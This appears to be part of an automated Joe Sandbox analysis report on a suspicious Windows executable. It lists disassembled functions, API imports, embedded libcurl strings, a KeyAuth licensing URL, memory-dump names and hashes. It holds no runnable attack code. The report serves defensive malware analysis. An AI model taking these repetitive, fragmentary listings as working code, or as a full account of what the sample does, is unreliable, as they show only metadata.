memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF79B6E3C25,?,?,?,?,?,00007FF79B6E1D8B), ref: 00007FF79B6E4FA3
memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF79B6E3C25,?,?,?,?,?,00007FF79B6E1D8B), ref: 00007FF79B6E4FB1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,?,0000000F,00007FF79B6E3C25,?,?,?,?,?,00007FF79B6E1D8B), ref: 00007FF79B6E4FEA
memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF79B6E3C25,?,?,?,?,?,00007FF79B6E1D8B), ref: 00007FF79B6E4FF4
memcpy.VCRUNTIME140(?,?,00000000,?,?,0000000F,00007FF79B6E3C25,?,?,?,?,?,00007FF79B6E1D8B), ref: 00007FF79B6E5002
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6E5031

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 42d60c75d1112fdc259fec253ef63a0733e48c8f420e9c4017af811e9afa4f59
Instruction ID: 71c7be656af4eeeddfd4e5ade0cade019cc0f6186b2c779b04fbae07e49d56c6
Opcode Fuzzy Hash: 42d60c75d1112fdc259fec253ef63a0733e48c8f420e9c4017af811e9afa4f59
Instruction Fuzzy Hash: F541D42270964985EA34AB7AA90426DE352AB48FE4F940735DF7D0BBE5CE3DF2518310

Function 00007FF79B7322A0 Relevance: 9.1, APIs: 6, Instructions: 93stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,?,?,00007FF79B73185F), ref: 00007FF79B7322E6
strchr.VCRUNTIME140(00000000,?,?,00007FF79B73185F), ref: 00007FF79B7322F6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,00007FF79B73185F), ref: 00007FF79B732320
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732355
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B73237A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B73239C

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupstrchr$mallocstrncpy
String ID:
API String ID: 2121287944-0
Opcode ID: 23a04994a60635d3b02b638b8d77e01a4870b3d6c760ab4438332988ab63ab11
Instruction ID: 7e1faa5c94229682a094deefa88dc161508163cb361ffb52aab41ef7ecc1a6f7
Opcode Fuzzy Hash: 23a04994a60635d3b02b638b8d77e01a4870b3d6c760ab4438332988ab63ab11
Instruction Fuzzy Hash: 93317421A09B8586EA65EF666840279F6A1AB4DBD0F485736DE8E037B5DF3CE2448310

Function 00007FF79B736D9F Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 91COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 1294909896-517259162
Opcode ID: 2dab462f5145bc0738b088c235cea5b0e6c2d607e6670f6eefb5e99da21a05ee
Instruction ID: 7e852cb747d789c4f212695596a56a32f9cc99f402fe291c9872c2194ceb7411
Opcode Fuzzy Hash: 2dab462f5145bc0738b088c235cea5b0e6c2d607e6670f6eefb5e99da21a05ee
Instruction Fuzzy Hash: C8418A61B0878A45EB25AB7994441F9A761BB0DBC8F884637DD0E17775DE3CD3488320

Function 00007FF79B71F931 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 85stringCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71F9B6
memcpy.VCRUNTIME140 ref: 00007FF79B71F9D1
strchr.VCRUNTIME140 ref: 00007FF79B71F9ED
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71F9FE

Strings

Got unexpected pop3-server response, xrefs: 00007FF79B71F951
CAPA, xrefs: 00007FF79B71FA14

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: callocfreememcpystrchr
String ID: CAPA$Got unexpected pop3-server response
API String ID: 2887963327-1591402739
Opcode ID: 201f3c32be0abebb09fcfe128f2889ecaff817daab1915a220306004f407a3d4
Instruction ID: 61c74cb6561b54c1a71cb49efc0b74e0be109ad9acf203922672e28cfa15bf2b
Opcode Fuzzy Hash: 201f3c32be0abebb09fcfe128f2889ecaff817daab1915a220306004f407a3d4
Instruction Fuzzy Hash: 5631B661B0D78A51EA25EB3D90442B9A291BB8A790F800B37CA1E172F1CF3CF655C331

Function 00007FF79B737C40 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C

Strings

%s%lx, xrefs: 00007FF79B737C9D
Signature: %s, xrefs: 00007FF79B7380E7
Signature, xrefs: 00007FF79B7380CF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$%s%lx$Signature
API String ID: 2190258309-1406629954
Opcode ID: 77be2812b9aa8131dd145d23130a352d1c51842506ecc649404dfcaa3bb354b8
Instruction ID: 0757b4c393eb9b0a4877bbe27939640d5faa28235f13455cc0381bd7abf69fec
Opcode Fuzzy Hash: 77be2812b9aa8131dd145d23130a352d1c51842506ecc649404dfcaa3bb354b8
Instruction Fuzzy Hash: CE31A762B0868A85EE30AB3DE4442B9A7A1FB4D794FD40633DE4D07775EE3DD2448760

Function 00007FF79B727CD0 Relevance: 9.1, APIs: 6, Instructions: 80COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B727CE1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B727D4D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B727D5F

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupcallocfree
String ID:
API String ID: 1236595397-0
Opcode ID: dbe26967cade26745424e45a6319db95d222da19376eea92ed94aec5f69a9b41
Instruction ID: ac451ad0ea82cff55168579f98cacc20dfe32b0f316752aab03bd6effc8e4a92
Opcode Fuzzy Hash: dbe26967cade26745424e45a6319db95d222da19376eea92ed94aec5f69a9b41
Instruction Fuzzy Hash: CB31DB32A05B8982EB61DB38D45037DB3A0EB8AB84F980132DE4D077B4DF3DD6459720

Function 00007FF79B736B41 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 80COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 1294909896-517259162
Opcode ID: 6747ec776cf2ce8da402bad2bb84dfc54471b3caf19a89f9e193f5818a58486c
Instruction ID: eb3d708ff8798c7c3826df223dfe1a97c56eac77ca258a2f0d297217181154f8
Opcode Fuzzy Hash: 6747ec776cf2ce8da402bad2bb84dfc54471b3caf19a89f9e193f5818a58486c
Instruction Fuzzy Hash: A9317591A0978A45EB25AB7DA4440F9A761AF0D784FC40A37DD4E07376DE3DE3488320

Function 00007FF79B736B7F Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B738800: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73884C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3061335427-517259162
Opcode ID: 430c93e604ecb33b3ff84b76402e8b8dd37a4f1645805b06affe485f7e029d85
Instruction ID: 249b65c125b6472cb520268a5dde055c4a6b2ab779b0274ecd8c4e085d63d4ad
Opcode Fuzzy Hash: 430c93e604ecb33b3ff84b76402e8b8dd37a4f1645805b06affe485f7e029d85
Instruction Fuzzy Hash: 31317691A0978A45EB25AB7DA4440F9A7617F09784FC40A37DD0E17376DE3CE3488321

Function 00007FF79B736B59 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B73A310: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73A345

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3061335427-517259162
Opcode ID: f38fd06d586284ddde5e18db3b0b80492eb2fbc1132887621bdcaf4423ed1ca7
Instruction ID: 70da99fb3b603899cbc07d94664515d4d8df26c4a0cb45ce796e56874b0ab078
Opcode Fuzzy Hash: f38fd06d586284ddde5e18db3b0b80492eb2fbc1132887621bdcaf4423ed1ca7
Instruction Fuzzy Hash: 82315491A0978A45EB25AB7DA4441F9A7627F09784FC40A37DD0E17776DE3CE3488321

Function 00007FF79B725963 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72597F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7259FB

Strings

OS/400, xrefs: 00007FF79B7259C9
SITE NAMEFMT 1, xrefs: 00007FF79B7259DC

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc
String ID: OS/400$SITE NAMEFMT 1
API String ID: 3061335427-2049154998
Opcode ID: 924411b33166fe90b7481d7a5f125ceca56f5dad428a03f15fc2c6138f981451
Instruction ID: 4f212818f28dd4192962215b97fa0a20907a79f65e6a53b8a3930d6f057a4d50
Opcode Fuzzy Hash: 924411b33166fe90b7481d7a5f125ceca56f5dad428a03f15fc2c6138f981451
Instruction Fuzzy Hash: 01317321A0C68A86F771AB3DA4513B8A760EB4D794FC04133CADD576B5DE3CE646C720

Function 00007FF79B6FB070 Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF79B6FB0A3
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF79B6FB0B7
CloseHandle.KERNEL32 ref: 00007FF79B6FB0C4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF79B6FB0E6
closesocket.WS2_32 ref: 00007FF79B6FB104
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF79B6FB11D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: CriticalSectionfree$CloseEnterHandleLeaveclosesocket
String ID:
API String ID: 469868127-0
Opcode ID: 024514fa3772a8c69e18930f2edb36f8a4a7b61728b80ad75d0dc27bfabe14dc
Instruction ID: dc663423592d7c644f3fc3f33b8cb4eaf2a7400d3e6584dd7f562e18ab249156
Opcode Fuzzy Hash: 024514fa3772a8c69e18930f2edb36f8a4a7b61728b80ad75d0dc27bfabe14dc
Instruction Fuzzy Hash: D6210036608A4586E630EF26E581269B771FB89B90F844132DF9D03B60DF39F5A58720

Function 00007FF79B6F92A8 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B7177A0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B7177C1

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9371

Strings

FALSE, xrefs: 00007FF79B6F934B
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF79B6F9617
Replaced, xrefs: 00007FF79B6F9601
Added, xrefs: 00007FF79B6F960D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _errno_strdup
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 2151398962-2292467869
Opcode ID: 1ac06dbd2ac643af919a8a1c0870491cd17c02b6a37efbd7478a018ba558be9d
Instruction ID: 987569cda4dc5f59269191fe31c9dabd1681dcc5dae802f489e120c1357107b4
Opcode Fuzzy Hash: 1ac06dbd2ac643af919a8a1c0870491cd17c02b6a37efbd7478a018ba558be9d
Instruction Fuzzy Hash: F8618422E0C78A45FF75AB39944937AA7A2AF56744F880036CB9D026F1DF2CF644C360

Function 00007FF79B6F919D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 153COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B7176F0: strchr.VCRUNTIME140 ref: 00007FF79B717726

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9371

Strings

FALSE, xrefs: 00007FF79B6F934B
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF79B6F9617
Replaced, xrefs: 00007FF79B6F9601
Added, xrefs: 00007FF79B6F960D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupstrchr
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 3727083984-2292467869
Opcode ID: 4f0c939df82d7b43fab082bb6525a08e8300e4ce4fbde8d1ccc17e0cd0df8090
Instruction ID: 5333c6b03a6139ec331f4e805e11dd9ca21df2d57487e4d33cc19eef0b185398
Opcode Fuzzy Hash: 4f0c939df82d7b43fab082bb6525a08e8300e4ce4fbde8d1ccc17e0cd0df8090
Instruction Fuzzy Hash: C8618522E0C78A45FF75AB39944937AE7A2AF56754F840036CB9D026F1DF2CF6448360

Function 00007FF79B7121A0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7123AD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7123C5

Strings

Forcing HTTP/1.1 for NTLM, xrefs: 00007FF79B712269
The requested URL returned error: %d, xrefs: 00007FF79B71234E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdupfree
String ID: Forcing HTTP/1.1 for NTLM$The requested URL returned error: %d
API String ID: 1865132094-1204028548
Opcode ID: 0ac72df66ab4c027b73ad8c1e291aa7b7e431376b96568b432ac0126ac761b8a
Instruction ID: 6b3fcd957ad15fcb1f28e3b4a6090bd6e00f5849f10e25736eb2813719f9d26d
Opcode Fuzzy Hash: 0ac72df66ab4c027b73ad8c1e291aa7b7e431376b96568b432ac0126ac761b8a
Instruction Fuzzy Hash: D451A872A0C6CA81FB74EA7894402BDA791EB89748F980237DA4D466B5DF2CE6508730

Function 00007FF79B70EF50 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70EFBA
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B70F02B
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF79B70F08B

Strings

Hostname in DNS cache was stale, zapped, xrefs: 00007FF79B70F0B2
:%u, xrefs: 00007FF79B70EFCE, 00007FF79B70F034

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: tolower$_time64
String ID: :%u$Hostname in DNS cache was stale, zapped
API String ID: 4068448496-2924501231
Opcode ID: b3832e9ae83c2f818d8e5f20c02279ad86dc294354eb5af68b8479754fb5ab38
Instruction ID: 9df4d28358095e1bf3c0124b1db53e51135e9d0d3ed609a99983bb0492a7e84f
Opcode Fuzzy Hash: b3832e9ae83c2f818d8e5f20c02279ad86dc294354eb5af68b8479754fb5ab38
Instruction Fuzzy Hash: A541A562A1868695EB71EB29E8403B9A761EB4CB94F844333DE5D077B5DF3CE205C710

Function 00007FF79B6E4310 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4341
memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4406
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E445A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF79B6E4461

Part of subcall function 00007FF79B73F1F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF79B6E43EE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B73F20A

Strings

https://keyauth.win/api/1.2/, xrefs: 00007FF79B6E4312

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: https://keyauth.win/api/1.2/
API String ID: 1155477157-3933380396
Opcode ID: 4ea7c51fdb8f9a2c9775b8b296350226727eb1bfe8f31a4f5527755d1e351525
Instruction ID: e8255c8e01a8572c1cb5574f0aa9f0b9a8704b324183b9bb960431bb4e697089
Opcode Fuzzy Hash: 4ea7c51fdb8f9a2c9775b8b296350226727eb1bfe8f31a4f5527755d1e351525
